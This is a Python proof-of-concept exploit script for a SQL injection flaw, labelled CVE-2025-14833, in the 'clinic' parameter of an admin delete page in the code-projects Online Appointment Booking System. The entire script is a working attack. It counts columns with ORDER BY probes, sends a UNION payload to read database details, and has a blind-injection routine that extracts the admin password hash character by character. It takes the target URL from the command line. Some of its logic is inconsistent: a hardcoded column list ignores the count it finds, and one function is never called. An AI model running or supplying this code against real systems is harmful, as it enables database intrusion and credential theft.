# CVE-2025-14833 SQL Injection PoC
# Target: code-projects Online Appointment Booking System 1.0
# File: /admin/deletemanagerclinic.php
# Parameter: clinic
import requests
import sys
from urllib.parse import quote
def exploit_sql_injection(target_url, clinic_payload):
"""Exploit SQL injection in clinic parameter"""
target = target_url.rstrip('/') + '/admin/deletemanagerclinic.php'
params = {
'clinic': clinic_payload
}
try:
response = requests.get(target, params=params, timeout=10)
return response.text
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return None
def union_based_injection(target_url):
"""UNION-based SQL injection to extract database info"""
# Determine number of columns (adjust 1-10 as needed)
for i in range(1, 10):
payload = f"1' ORDER BY {i}-- -"
resp = exploit_sql_injection(target_url, payload)
if resp and 'Unknown column' not in resp:
continue
else:
num_cols = i - 1
print(f"[+] Found {num_cols} columns")
break
# Extract database version and current database
union_payload = f"1' UNION SELECT 1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,database()-- -"
resp = exploit_sql_injection(target_url, union_payload)
print(f"[+] Response: {resp[:500] if resp else 'No response'}")
def boolean_blind_injection(target_url):
"""Boolean-based blind SQL injection"""
# Extract admin password hash character by character
extracted = ""
charset = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for pos in range(1, 50):
for char in charset:
payload = f"1' AND SUBSTRING((SELECT password FROM admin LIMIT 1),{pos},1)='{char}'-- -"
resp = exploit_sql_injection(target_url, payload)
if resp and ('deleted' in resp.lower() or len(resp) > 100):
extracted += char
print(f"[+] Extracted: {extracted}")
break
elif char == charset[-1]:
print(f"[+] Extraction complete: {extracted}")
return extracted
return extracted
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-14833.py <target_url>")
print("Example: python cve-2025-14833.py http://localhost/online_booking")
sys.exit(1)
target = sys.argv[1]
print(f"[*] Targeting: {target}")
print("[*] Testing UNION-based injection...")
union_based_injection(target)